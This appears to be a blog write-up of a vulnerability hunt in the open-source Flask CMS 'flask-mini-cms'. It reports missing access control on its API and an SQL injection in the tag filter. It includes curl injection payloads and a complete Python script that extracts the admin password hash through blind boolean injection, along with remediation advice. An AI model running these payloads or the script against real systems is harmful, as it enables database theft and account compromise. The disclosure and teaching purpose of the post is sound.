Finding 0day in random github repositories
For fun, I decided to look for 0days in open source Github projects. To avoid having to audit big or non-updated applications, I sorted the repositories by “Recently updated” and start digging.
My goal was not to find every small vulnerability or security recommendation on an application but to find at least one critical vulnerability.
Project : flask-mini-cms
So, I started looking for vulnerabilities in this project.
Local installation
This application is very easy to install, you just need to build and run the docker-compose.
1
2
3
|
$ git clone https://github.com/eugene-afk/flask-mini-cms
$ cd flask-mini-cms
$ sudo docker-compose up -d --build
|
Then, visit localhost:50550/init to create the first user. After that, you can create posts on the CMS via the web dashboard.
Vulnerabilities
I found two majors vulnerabilities on this Flask CMS, one about broken access control and another about SQL injection.
Broken access control
If you go to /post
, you are redirected to /login
with the following error message : Please log to access this page.
However, you can see the content of all the posts, tags and categories using the API :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
|
$ curl -s http://localhost:50550/api/posts | jq
{
"current_page": 1,
"posts": [
{
"author": "toto",
"category_id": 1,
"id": 1,
"img": "default.jpg",
"publishDate": "2021-11-05 11:30",
"shortDesc": "Very cool description.",
"tags": [
{
"tag_name": "help"
}
],
"title": "My first post"
}
],
"total_pages": 1
}
|
I don’t really know if this is a vulnerability or an expected behavior of the Flask CMS.
The remediation for this vulnerability is pretty simple, you just need to check if the user is logged in by using the @login_required
python decorator.
SQL Injection
After a little bit of manual static code analysis, I came across this function :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
|
@public.route('/api/posts/<int:id>', methods=['GET'])
def get_posts_by_category_id(id):
try:
tag_ids = request.args.getlist('tag')
page = request.args.get('page', 1, type=int)
row_per_page = request.args.get('rowsperpage', ROW_PER_PAGE, type=int)
if tag_ids:
sql_tags_filter = ""
for i in tag_ids:
sql_tags_filter += " or tag_id = " + str(i)
sql_tags_filter = sql_tags_filter[4:]
posts = Post.query.filter_by(published=True, category_id=id).join(PostTag,
Post.id == PostTag.post_id).filter(text(sql_tags_filter)).paginate(page=page, per_page=row_per_page)
else:
posts = Post.query.filter_by(published=True, category_id=id).paginate(page=page, per_page=row_per_page)
data = {
'total_pages': posts.pages,
'current_page': posts.page,
'posts':
[e.serialize_short() for e in posts.items]
}
except Exception as ex:
data = {
'error': str(ex)
}
return jsonify(data)
|
As you can see, we have raw SQL in the query, filter(text(sql_tags_filter))
. The value of the variable sql_tags_filter
depends on the value of tag_ids
(?tag=
) which is controlled by the user.
Let’s try it :
1
2
|
$ curl 'http://localhost:50550/api/posts/1?tag=xyz'
{"error":"(sqlite3.OperationalError) no such column: xyz\n[SQL: SELECT post.id AS post_id, post.category_id AS post_category_id, post.title AS post_title, post.\"shortDesc\" AS \"post_shortDesc\", post.\"full\" AS post_full, post.\"imgMain\" AS \"post_imgMain\", post.published AS post_published, post.\"publishDate\" AS \"post_publishDate\", post.\"lastUpdated\" AS \"post_lastUpdated\", post.owner_id AS post_owner_id \nFROM post JOIN post_tag ON post.id = post_tag.post_id \nWHERE post.published = 1 AND post.category_id = ? AND tag_id = xyz\n LIMIT ? OFFSET ?]\n[parameters: (1, 10, 0)]\n(Background on this error at: http://sqlalche.me/e/13/e3q8)"}
|
The server gives us the SQL query :
1
2
3
4
5
6
7
8
9
|
SELECT post.id AS post_id, post.category_id AS post_category_id, post.title AS post_title, post.shortDesc AS post_shortDesc, post.full AS post_full, post.imgMain AS post_imgMain, post.published AS post_published, post.publishDate AS post_publishDate, post.lastUpdated AS post_lastUpdated, post.owner_id AS post_owner_id
FROM post
JOIN post_tag
ON post.id = post_tag.post_id
WHERE post.published = 1
AND post.category_id = ?
AND tag_id = xyz -- <-- USER INPUT
LIMIT ?
OFFSET ?
|
Let’s inject the query using the --data-url-encode
parameter of curl
which URL encode our tag
parameter.
1
2
3
4
5
|
$ curl --get 'http://localhost:50550/api/posts/1' --data-urlencode "tag=0"
{"current_page":1,"posts":[],"total_pages":0}
$ curl --get 'http://localhost:50550/api/posts/1' --data-urlencode "tag=0 OR 1=1"
{"current_page":1,"posts":[{"author":"toto","category_id":1,"id":1,"img":"default.jpg","publishDate":"2021-11-05 11:30","shortDesc":"Very cool description.","tags":[{"tag_name":"help"}],"title":"My first post"}],"total_pages":1}
|
We have an SQL Injection ! Now, let’s try to extract the admin user password.
Using an SQL UNION
injection was a bit of pain as the query needs to return a valid list of posts.
1
2
3
|
$ curl --get 'http://localhost:50550/api/posts/1' \
--data-urlencode "tag=0 UNION SELECT 1,2,3,4,5,6,7,DATETIME('now'),DATETIME('now'),11"
{"error":"'NoneType' object has no attribute 'name'"}
|
Let’s start using subquery instead :
1
2
3
|
$ curl --get 'http://localhost:50550/api/posts/1' \
--data-urlencode "tag=1 AND 1=(SELECT 1)"
{"current_page":1,"posts":[{"author":"toto","category_id":1,"id":1,"img":"default.jpg","publishDate":"2021-11-05 11:30","shortDesc":"Very cool description.","tags":[{"tag_name":"help"}],"title":"My first post"}],"total_pages":1}
|
It works ! Now we can extract all the database ! To demonstrate this, I have created a python script that extracts the password of the first user in the database :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
|
#!/usr/bin/env python3
from time import sleep
from requests import get
def bool_sqli(query):
"""If the list of posts returned by the server is not empty, the query is correct."""
req = get("http://localhost:50550/api/posts/1?" + query)
return len(req.json()["posts"])
def find_password_length(min_length, max_length):
"""Find the password length using a dichotomic search."""
possible_length = int((min_length + max_length) / 2)
query = f"tag=1 AND {possible_length} = (SELECT LENGTH(password) FROM user WHERE id = 1)"
if bool_sqli(query):
return possible_length
sleep(0.2)
query = f"tag=1 AND {possible_length} > (SELECT LENGTH(password) FROM user WHERE id = 1)"
if bool_sqli(query):
return find_password_length(min_length, possible_length)
return find_password_length(possible_length, max_length)
def find_password(min_char, max_char, pos):
"""Find the password of the user using a dichotomic search."""
possible_char = int((min_char + max_char) / 2)
query = f"tag=1 AND {possible_char}=(SELECT UNICODE(SUBSTR(password, {pos}, 1)) FROM user WHERE id = 1)"
if bool_sqli(query):
return chr(possible_char)
sleep(0.2)
query = f"tag=1 AND {possible_char}>(SELECT UNICODE(SUBSTR(password, {pos}, 1)) FROM user WHERE id = 1)"
if bool_sqli(query):
return find_password(min_char, possible_char, pos)
return find_password(possible_char, max_char, pos)
password_length = find_password_length(1, 128)
print("Password length =", password_length)
for i in range(1, password_length + 1):
print(find_password(32, 127, i), flush=True, end="")
|
Execution :
1
2
3
|
$ python3 extract_password.py
Password length = 88
sha256$SvKTDmVGf0RwcP33$57284543b3258d8d155f00b54607f234595266143578082c95faf6500be07121
|
The hash below corresponds to my user password which is toto
, let’s verify that :
1
2
3
4
5
6
7
|
$ python3
Python 3.9.7 (default, Aug 31 2021, 13:28:12)
[GCC 11.1.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> from werkzeug.security import check_password_hash
>>> check_password_hash('sha256$SvKTDmVGf0RwcP33$57284543b3258d8d155f00b54607f234595266143578082c95faf6500be07121', 'toto')
True
|
As you can see, you can extract the administrator’s password without any privileged (you do not need an account on the CMS).
The remediation for this vulnerability, is to use a SQLAlchemy prepared function to avoid SQL Injection, for example using the function in_()
.
I hope you enjoyed this article !